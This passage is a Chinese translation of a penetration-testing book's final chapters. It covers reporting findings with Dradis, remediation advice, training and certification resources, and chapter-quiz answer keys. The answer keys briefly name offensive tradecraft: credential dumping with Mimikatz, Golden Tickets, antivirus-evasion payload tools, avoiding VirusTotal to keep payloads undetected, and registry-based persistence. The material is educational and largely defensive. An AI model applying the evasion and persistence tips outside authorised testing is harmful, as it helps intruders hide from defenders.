如果您点击“添加新内容”并选择“下载更多”,您将被重定向到一个链接,您可以在那里下载合规包。下载 PTES 技术指南;这将是一个.zip文件,您需要解压缩。文件的内容中将会有一个名为ptes_methodology的文件夹;将这些文件解压缩到/var/lib/dradis/templates/methodologies。文件解压缩后,刷新 Dradis 页面。

现在,您将能够添加各种 PTES 方法论。继续添加它们:

图 3:添加 PTES 方法论

添加完后,注意输出。现在您有了一个可以在 PTES 方法论的不同阶段执行的各种任务的清单。这是确保在执行渗透测试时遵循方法论标准的好方法:

图 4:按照 PTES 方法论的清单

当然,并非所有的渗透测试都会遵循这种方法。随着您执行不同的渗透测试,您将创建针对客户定制的不同方法论。

节点

节点可以类比为文件系统中的文件夹。这是您将存储笔记、附件和证据文件等信息的地方。节点将帮助您构建项目结构。

要创建一个节点,请点击“节点”右侧的加号(+)号。在这里,您将添加一个顶级节点。您可以一次添加一个或全部添加:

图 5:添加多个节点

创建节点结构后,您可以从其他工具上传文件。在这里,您可以从 Nmap 扫描、Nessus、Nikto 等导入文件:

图 6:从其他工具上传文件

在下面的截图中,我上传了一个 Nmap 扫描。Dradis 已经填充了属性和笔记部分以反映扫描结果:

图 7:Nmap 扫描结果导入到 Dradis

当您导入各种工具输出时,Dradis 将利用其规则引擎自动填充数据到节点中。

问题和证据

问题包含有关问题或漏洞的信息。例如,您可以在这里提供描述、CVE、URL 引用等。

证据显示存在问题。例如,您可能会创建一个漏洞利用的证据。

在您创建证据之前,您需要创建一个问题。要创建问题,请点击“问题”右侧的加号(+)号。如果愿意,您可以使用模板,但不是必须的。定义您将展示证据的问题,如下所示:

图 8:创建问题

创建问题后,您可以导航到要记录证据的节点,并点击证据标志。接下来,您将从下拉列表中选择问题,然后编写您的证据:

图 9:创建证据

在节点中,您可以选择上传附件。附件可以是来自目标的截图、报告、文件等。

您可以通过点击项目顶部的“导出结果”链接来探索项目。

在进行渗透测试时,使用 Dradis 可以帮助您跟踪您的发现。方法论可以作为一个很好的提醒,以防您在渗透测试的特定阶段错过了一步。

推荐纠正选项

在渗透测试报告中,您需要提出如何保护所发现的发现的建议。重要的是要了解漏洞如何得到纠正,而不仅仅是知道如何利用它们。

让我们考虑一下本书中进行的一些攻击以及可以推荐的纠正活动。

信息收集

在信息收集阶段,我们看了如何使用公开可访问的来源(OSINT)收集有关我们目标的信息。组织不可避免地会公开发布信息。保护信息免受暴露(例如文档中的元数据)的关键是使用诸如信息保护之类的技术。信息保护保护数据免受未经授权的使用、披露、访问、破坏、中断和修改。信息保护利用了一些技术,如加密、数据分类、策略和流程来保护信息。

保护免受主动信息收集的攻击包括保护不应该打开的端口。还可以使用网络层防御,如交换机上的访问控制列表和防火墙进行过滤。

社会工程

社会工程学可能是攻击者可以利用的最危险的攻击向量之一。成功的社会工程攻击取决于攻击者能够获取的信息量。同样,在渗透测试中,成功的社会工程攻击将取决于您能够获取有关目标组织的信息量。

在保护免受社会工程攻击方面并没有银弹。归根结底,是我们的人性会使我们成为这类攻击的受害者。然而,组织可以采取一些措施,如下所示:

  • 教育: 为最终用户提供教育对于任何组织都至关重要。如果用户不知道如何识别社会工程攻击,他们怎么能不成为受害者呢?教育的关键在于让最终用户关心安全。

  • 意识: 组织需要意识到公开可获得的信息类型。这种信息是攻击者将首先访问的信息。如果信息披露了太多,以至于可以轻松制定社会工程攻击,那么组织就需要解决这个问题。

  • 身份验证: 组织需要考虑多种识别用户的方式。例如,当用户通过自助门户请求重置密码时,应该有某种形式的双因素身份验证。

  • 技术: 许多组织正在将他们的电子邮件转移到 Office 365 等云服务。在 Office 365 中,有许多可以启用的安全机制,以防范复杂的网络钓鱼攻击。大多数情况下,组织并不完全了解现有的防御措施,或者他们可能没有正确地调整它们。

社会工程对组织可能非常危险。这完全取决于可以用来攻击组织的信息量。如果社会工程是您渗透测试中的一个攻击向量,请确保披露您可以访问多少信息以成功发动攻击。这将帮助组织了解他们的弱点并加以解决。

漏洞和操作系统加固

软件很难做到没有错误,因此漏洞总是存在的。这在操作系统等大型软件中是显而易见的。操作系统是复杂的,有许多组件共同工作。只需一个组件中的一个缺陷就可以使系统被利用。

通常构建软件的组织遵循软件开发生命周期SDLC)。这是一个定义了如何开发、维护和替换软件的详细步骤的框架。现在安全已经被纳入软件生命周期,以便构建安全的软件。这大大减少了代码中发现的错误数量,这可能导致漏洞,但这并不能完全消除编码错误的风险。

这就是补丁管理发挥作用的地方。建立一个适当的补丁管理流程,并且遵守这个流程将大大减少组织使用的软件相关的漏洞数量。

操作系统加固是确保不会利用已知易受攻击的不安全协议的另一个好方法。例如,SMBv1 的缺陷是已知的,并且容易被利用。互联网安全中心CIS)维护着一个很好的基准库,并讨论了如何加固各种系统。CIS 基准可以在这里找到:www.cisecurity.org/cis-benchmarks/

微软维护适用于其产品套件的安全基线。这些基线在其产品中启用特定的安全功能非常出色。这些基线可以在这里找到:blogs.technet.microsoft.com/secguide/

密码

基于密码的攻击是仍然在使用的最简单和最古老的攻击形式。今天,组织已经意识到拥有强密码的价值,但问题在于可用性。例如,强制执行 12 位字符的密码很容易,但最终用户会如何反应?很可能他们会使用常见密码,如January@1234,并按月份递增,或者他们会有一个非常安全的密码,最终会把它写下来或存储在某个地方。密码的另一个问题是人们倾向于重复使用它们。他们的域密码可能与在 Facebook 上使用的密码相同。

保护密码需要使用除密码之外的认证方式。多因素认证在当今是必不可少的。利用额外的认证方法,如令牌、短信或电话呼叫,增加了额外的保护层。将多因素认证与密码最佳实践相结合,如强制复杂性、更长的密码长度和强制禁用密码列表,将增加安全性。

网络应用程序

网络应用程序是攻击者的主要目标,因为它们是面向公众的。特别是如果网络应用程序服务器没有从网络层正确分割,它们可以作为进入网络的入口。

开放式网络应用程序安全项目OWASP)维护着一个名为OWASP 十大的列表。这个十大列表讨论了 10 个最关键的网络应用程序安全风险以及对它们的缓解措施。它详细解释了攻击及其影响,并提供了攻击场景的参考。OWASP 十大可以在这里找到:www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

寻找网络应用程序攻击预防的另一个好资源是 OWASP 攻击类别,可以在这里找到:www.owasp.org/index.php/Category:Attack

权限提升和横向移动

横向移动是网络中最常见的攻击之一。螃蟹式地在环境中移动为攻击者提供了一个广阔的领域,可以浏览以检测高特权帐户。

横向移动中最容易使用的帐户之一是本地管理员帐户。通常,该帐户共享相同的名称和密码,这意味着如果您在一台计算机上破坏了它,可以轻松地在另一台计算机上重复使用。纠正这一点将需要在网络中强制执行随机本地管理员帐户密码。在 Windows 环境中,可以使用本地管理员密码解决方案LAPS)来实现这一点。有关更多信息,请访问:www.microsoft.com/en-us/download/details.aspx?id=46899

良好的凭证卫生习惯对于防止特权升级至关重要。这意味着不将高特权帐户暴露给较低信任的系统,例如,在工作站上限制使用域管理员帐户。如果工作站受到攻击,域管理员帐户的哈希值可能会被转储,游戏就结束了。在任何环境中,强制执行最小特权原则应该成为一种规范。

总结

在本章中,您已经对渗透测试报告中包含的内容有了很好的理解。您现在有能力创建一个针对高管和技术人员的报告。您已经亲身体验了使用报告工具 Dradis 来记录渗透测试中的发现。您已经深入了解了客户可以部署的各种安全措施,以增强其安全姿态。

在下一章(第十四章,我接下来该怎么做?),我们将介绍如何通过查看认证、在线培训资源和练习技能来在渗透测试领域发展您的职业生涯。

问题

  1. 渗透测试报告的重要性是什么?

  2. 报告的执行和技术部分有什么区别?

  3. 有什么工具可以帮助你制作报告?

  4. 寻找与 Web 应用程序攻击和预防相关信息的好来源是什么?

  5. 保护免受特权升级和横向移动的影响涉及做什么?

第十四章:我接下来该去哪里?

在书的结尾,我们将看看如何跟上渗透测试领域的最新动态。在任何行业中,建立您的技能和知识都是一个持续的过程。当您投入时间和精力时,您一定会看到您的技能增长的结果。

在本章中,您将了解可以利用哪些资源来扩展您的知识,推动您的职业发展。我们将看看工具包维护的去向。最后,我们将看看可以用来测试您的技能并提供新挑战的各种资源。

在本章中,您将学到以下内容:

  • 知识维护

  • 工具包维护

  • 故意易受攻击的资源

技术要求

本章没有任何技术要求。我们在本章中不进行任何实际操作练习。

知识维护

渗透测试是信息技术领域许多人着迷的话题。体验成为黑客的刺激,知道如何利用机器并控制系统,给个人带来一种权力感。但是,正如我们在本书中所介绍的,渗透测试不仅仅是盲目地攻击系统。渗透测试更加有结构,考虑到业务需求,并且当然为业务提供坚实的结果,以增强他们的安全姿态。

在每个行业中,都有专门从事该领域特定方面的专家。在渗透测试领域也是如此。例如,我们有以下领域可以让渗透测试人员专注:

  • 网络渗透测试

  • 无线渗透测试

  • Web 应用程序渗透测试

让我们高层次地看一下每个领域。

网络渗透测试

网络渗透测试是最常见的渗透测试方法。对网络进行渗透测试涉及内部和外部网络。其目的是模拟成功的攻击者能够绕过防御措施。它使渗透测试人员能够探索组织的许多方面,为组织的安全姿态提供清晰的图片。一旦渗透测试人员获得对网络的访问权限,许多障碍就被排除了。

网络渗透测试通常包括以下内容:

  • 绕过防火墙

  • 路由器测试

  • 入侵防范系统(IPS)/入侵检测系统(IDS)规避

  • DNS 足迹

  • 开放端口扫描和测试

  • SSH 攻击

  • 代理服务器

  • 网络漏洞

为了在这个特定领域发展您的技能,您需要对防火墙及其工作原理、路由器和各种路由协议有很好的理解,以及它们的运作方式。了解入侵检测/防范设备对于确定如何避免它们至关重要。

对网络有扎实的知识可以真正提升您的渗透测试。

无线渗透测试

无线渗透测试涉及测试企业无线基础设施的漏洞。通常包括以下内容:

  • 无线加密协议

  • 无线接入点

  • 无线网络流量

  • Rogue 接入点

由于无线技术的接近要求,无线测试通常在现场进行。企业无线网络泄露到建筑外部并不罕见,这本身就是一个漏洞。

在这个领域发展你的技能意味着深入了解无线网络的工作原理。我们在本书中涉及了一些概念(如无线帧)。

Web 应用程序渗透测试

Web 应用程序渗透测试关注的是 Web 应用程序中的漏洞或弱点。这个测试的复杂性取决于你正在测试的应用程序。例如,一个简单使用 SQL 的网站可能不像一个使用多个 API、Applets 或 ActiveX 控件的网站那么复杂。在这个测试中,你可以投入大量时间,因为外部面向的 Web 应用程序对业务构成巨大风险。

这个测试通常包括以下内容:

  • SQL 注入

  • 跨站脚本

  • Web 应用程序语言(Java、PHP、HTML 等)

  • 数据库连接

  • 框架和特定应用程序(Sharepoint,IIS 等)

在这个领域提升你的技能意味着要对各种网络应用程序语言有很好的理解。你需要了解诸如 HTTP/HTTPS 等协议的工作原理,以及各种攻击,如 SQL 注入和跨站脚本的工作原理。在本书中,我们已经涵盖了这些主题,但每个主题还有更深入的内容。

在线培训

让我们来看看存在的各种资源,你可以利用这些资源来扩展你在渗透测试方面的知识。我们将涵盖各种在线培训提供商,一些免费的,一些付费的。除此之外,还有很多其他资源可用;我发现后面列出的资源对于在渗透测试方面建立良好的基础非常有益。

Cybrary

Cybrary 免费提供大量与网络安全相关的培训。有一个不断开发新课程的活跃社区,材料的质量很高。Cybrary 利用来自各个领域和公司的专家来开发培训材料。

Cybrary 可以通过以下网址访问:www.cybrary.it/

Pentester Academy

Pentester Academy 提供专注于特定领域的各种动手课程。例如,他们的一些课程专注于 Python、Metasploit、PowerShell 等。在线实验室可供使用,你可以在学习不同课程的同时练习你的技能。

Pentester Academy 不是免费服务,而是采用订阅模式。没有长期合同,截至目前,价格从第一个月开始是 99 美元,之后每月 39 美元。Pentester Academy 可以通过以下网址访问:www.pentesteracademy.com/

Pentesterlab

Pentesterlab 是一个简单直接的在线资源。它提供虚拟镜像,并附带可以用来测试漏洞的练习。这使你能够了解漏洞以及如何在渗透测试中应用你的知识。

Pentesterlab 有免费和付费资源。他们采用订阅模式,目前的价格是每月 19 美元。Pentesterlab 可以通过以下网址访问:pentesterlab.com/

认证

一旦你掌握了知识,你需要一些东西来展示这些知识——这就是认证发挥作用的地方。随着你在渗透测试技能方面的进步,你可以努力获得一些认证。以下提供商提供了各种认证,可以帮助你在渗透测试领域建立你的知识和技能。

eLearnSecurity

eLearnSecurity 提供广泛的专注于渗透测试的认证。他们定义了指导你达到特定目标的培训路径。例如,网络渗透测试师的培训路径从网络渗透测试的基础知识开始,最终带你到网络渗透测试的红队和操作的高级方面。

作为基础的一部分,他们的认证是 eJPT。这个认证是 100%实践的,不使用多项选择题。考试基于一个模拟真实场景的网络,你必须在规定的时间内对网络进行渗透测试。认证的培训全部在线进行,可以访问设计用来提高你在每个主题中技能的实验室。

目前,该认证侧重于以下技能:

  • TCP/IP 和 IP 路由

  • 局域网协议、设备和网络漏洞评估的知识

  • HTTP、Web 技术和 Web 应用程序漏洞评估的知识

  • 渗透测试流程和方法论

  • 使用 Metasploit 进行利用

  • 信息收集、扫描和目标分析

培训路径可以通过以下网址访问:www.elearnsecurity.com/training_paths/

攻击性安全

攻击性安全认证在安全社区中备受尊重。他们的认证考试过程非常严格和极具挑战性。考试基于场景,需要在规定的时间内完成。他们提供基于网络、Web、无线和利用的培训和认证。

在渗透测试社区中经常见到的认证是 Offensive Security Certified Professional(OSCP)。考试是实践性的,需要在 24 小时内完成!在考试中,你需要运用从培训材料中学到的技能来执行各种任务。

可以通过以下网址访问一份攻击性安全认证和培训的列表:www.offensive-security.com/

全球信息保障认证(GIACs)

GIAC 认证也是安全社区中备受尊重的认证之一。他们提供跨多个领域的认证,如渗透测试、网络防御、事件响应等。

这些认证的培训由 SANS 负责,他们在网络安全领域领导了许多倡议。

可以在以下网址找到 GIAC 提供的渗透测试认证列表:www.giac.org/certifications/pen-testing

工具包维护

在这本书中,我们涵盖了 Kali Linux 的大部分内置工具。这些工具得到维护,并定期发布更新。

关于未内置的工具,它们在 Github 上进行维护。因此,保持它们更新只需要拉取新版本。

你可能想知道在这本书中没有讨论的其他工具在哪里可以找到。互联网上有许多网站会发布新工具的更新列表。

一些最常见的包括以下内容:

人们经常在 Github 存储库中发布一系列工具;通过简单的谷歌搜索就可以找到这些工具。

有意使资源易受攻击

随着你在渗透测试领域的知识不断巩固,你需要不断测试你的技能和任何发布的新工具。为此,你需要一个实验室环境。然而,使用自己的实验室并不具有挑战性,因为一段时间后,你将了解你的实验室的内部运作。为了将你的知识付诸实践,你需要专注于不同系统的多个实验室环境。你可以利用互联网上已经提供的实验室,而不是为每个实验室建立一个实验室。

在寻找新挑战并增加您的知识和技能方面,有两个非常方便的资源。这些资源是 Vulnhub 和 Hack The Box。

Vulnhub

Vulnhub 通过利用社区构建的易受攻击的机器,实现了实际的动手学习。Vulnhub 免费提供虚拟机器;您只需下载虚拟镜像并在您的 hypervisor 上运行即可。

Vulnhub 的美妙之处在于有可用于虚拟机器的攻略,因此,如果您卡住了,您总是可以参考它们。

Vulnhub 可以通过以下 URL 访问:www.vulnhub.com/

Hack The Box

Hack The Box 是一个允许您在线测试渗透测试技能的平台。它有许多易受攻击的盒子和挑战。易受攻击的盒子在难度上有所不同,这使您能够大大提高您的技能。访问这些盒子是通过 VPN 处理的,您需要在访问盒子之前连接到 VPN。

Hack The Box 有免费和 VIP 选项。在免费版本中,机器在一段时间后被退役。VIP 选项,目前每月费用为 10 美元,可以访问以下功能:

  • 完全访问所有已退役的盒子

  • 较少拥挤的实验室

  • 获取已退役盒子的官方攻略

Hack The Box 有一个限制——您需要自己入侵。第一个挑战是获取邀请码,以便您能够注册 Hack The Box 的帐户。

Hack The Box 可以通过以下 URL 访问:www.hackthebox.eu

摘要

随着网络安全的发展,攻击者也在发展。这意味着作为渗透测试人员,您需要跟上网络安全领域的最新动态。跟上最新动态意味着从知识和技能方面不断发展。

在本章中,我们看了一些渗透测试领域和相关知识要求,阐述了渗透测试涉及的不仅仅是盲目运行工具。我们看了一些可用的资源,可以用来扩展您的知识,并可以努力工作的认证。我们看了如何跟上最新发布的工具。最后,我们看了在哪里获取和访问易受攻击的机器,以测试您的技能。

第十五章:评估

第一章:渗透测试简介

  1. 渗透测试旨在在攻击者能够利用它们之前以受控的方式识别漏洞。

  2. PTES 和 NIST SP800-115。

  3. 范围界定了许多重要主题,例如测试内容,业务目标,渗透测试的持续时间等。

  4. STRIDE 和 VAST。

  5. Metasploitable 专注于提高您使用 Metasploit 的技能。它还更加关注操作系统和网络层。

第二章:开始使用 Kali Linux

  1. Kali Linux 默认包含超过 100 种工具。

  2. Kali Linux 可以使用.iso镜像文件安装,也可以使用预构建的虚拟机安装。

  3. apt update && apt upgrade

  4. 使用systemctl start [service]

  5. Nmap,John the Ripper,Burp Suite。

第三章:执行信息收集

  1. 被动信息收集涉及使用公开可访问的数据,而主动信息收集涉及与目标系统的交互。

  2. Shodan 和 Maltego。

  3. Nmap 允许您进行利用 Nmap 脚本引擎的漏洞扫描。

  4. OpenVAS 和 Nessus。

  5. 执行数据包捕获允许您查看数据包在网络中传输时的原始数据。一些数据包可能会暴露数据,例如明文密码和其他有趣的信息。

第四章:精通社会工程学

  1. 这是对一个人的心理操纵,从而说服他们放弃敏感信息。

  2. 相信人是人的天性。

  3. 假托。

  4. 网络钓鱼和鱼叉式网络钓鱼。

  5. 没有必要克隆任何网站;Modlishka 是一个反向代理工具,允许您以明文捕获凭据。

第五章:深入了解 Metasploit 框架

  1. 规避模块和库。

  2. 辅助和利用。

  3. Nmap 和 Nessus。

  4. Exploit-DB 和 Rapid7。

  5. 绑定 shell 需要您连接到它以获取 shell,而反向 shell 会将连接推送回攻击机器。

第六章:理解密码攻击

  1. 通过从公开可访问的文档中提取元数据。

  2. 配置文件允许您调整您的单词列表,使其特定于您的目标,从而消除了使用耗时的大型单词列表的需要。

  3. John the ripper。

  4. 在线密码攻击针对活动的基于网络的服务,这会增加检测风险。离线密码攻击是在提取密码并可以在单独的系统上破解时进行的。

  5. 使用驻留在内存中的工具不会将任何内容写入磁盘,这比使用将数据写入磁盘的工具更隐蔽。

第七章:使用 Burp Suite

  1. Burp Suite 代理是核心。这使 Burp Suite 能够作为拦截代理运行,从而使 Burp Suite 内的所有工具都能正常运行。

  2. 此扫描分析现有请求和响应的漏洞。它不会向 Web 应用程序提交任何请求,因此消除了可以检测到的噪音量。

  3. 这用于手动操纵 HTTP 请求的重新发出。您可以利用中继器检查如果修改了 HTTP 请求,输出会是什么,例如,通过使用 SQL 注入攻击。

  4. 集群炸弹提供了最全面的结果,但也是最耗时的,取决于所使用的单词列表。

  5. 通过使用 BApp Store 或可以加载到 Burp Suite 中的第三方扩展。

第八章:攻击 Web 应用程序

  1. 单页应用程序SPA)。

  2. HTTP 不安全;数据以明文发送。HTTPS 使用 SSL 通过安全隧道提交数据。

  3. 引荐者字段可以被修改。

  4. 跨站脚本和 SQL 注入攻击。

  5. Metasploit 框架。

第九章:开始进行无线攻击

  1. 管理,控制和数据。

  2. 接入点的 SSID,安全功能和 MAC 地址。

  3. WPA 仍然使用 WEP 作为加密算法。WPA2 还使用更强大的 AES 加密。

  4. Rogue Access Points,Evil Twin,Frame injection 和 WPA2 密钥破解。

  5. Airgeddon,airodump-ngaireplay-ng

第十章:横向移动和提升权限

  1. 横向移动和权限提升。

  2. Mimikatz 和 Metasploit 框架。

  3. Mimikatz,Powershell 和 Python。

  4. 这种攻击涉及使用帐户的 NTLM 哈希,该哈希可用于对帐户具有访问权限的资源进行身份验证。

  5. 此帐户用于在 Active Directory 域内签署所有 Kerberos 票证。入侵它将允许您创建一个 Golden Ticket。

第十一章:防病毒逃避

  1. 防病毒软件不再仅仅用于保护免受病毒侵害 - 它们现在可以完全查看端点,包括进程和内存。

  2. 编码和自定义编译。

  3. MSFVenom,Veil 和 TheFatRat。

  4. 与使用工具生成的负载相比,负载的检测率较低。

  5. 永远不要将其提交给 VirusTotal,因为 VirusTotal 会将结果提交给防病毒制造商以增强其检测能力。

第十二章:在环境中保持控制

  1. 当目标系统重新启动时,反向外壳可能会丢失,或者被利用的漏洞可能会被修补。保持访问权限消除了重新利用系统的需要。

  2. APT 是高级持续威胁。这种类型的威胁有能力在被发现之前在目标系统上保持访问权限数月。

  3. 使用特洛伊木马和 C2 服务器的后门。

  4. 利用现有操作系统工具执行任务的能力,例如在 Windows 操作系统中使用 PowerShell。

  5. HKLM 包含在系统启动时运行的注册表键;HKCU 包含在用户登录时运行的注册表键。

第十三章:报告和行动您的发现

  1. 渗透测试报告允许您向负责推动修复工作以减少其环境安全风险的利益相关者传达有关已发现问题的重要信息。

  2. 执行部分将包含渗透测试的高级视图,以及发现和风险评级的高级概述。技术部分将深入探讨技术细节,您将在其中讨论使用的工具,采取的路径以及发现的漏洞,以及修复建议。

  3. Dradis。

  4. 开放式 Web 应用程序安全项目OWASP)。

  5. 通过限制高特权帐户访问较低信任系统并随机化本地管理员帐户来练习良好的凭据卫生。

posted @ 2024-05-04 14:58  绝不原创的飞龙  阅读(74)  评论(0编辑  收藏  举报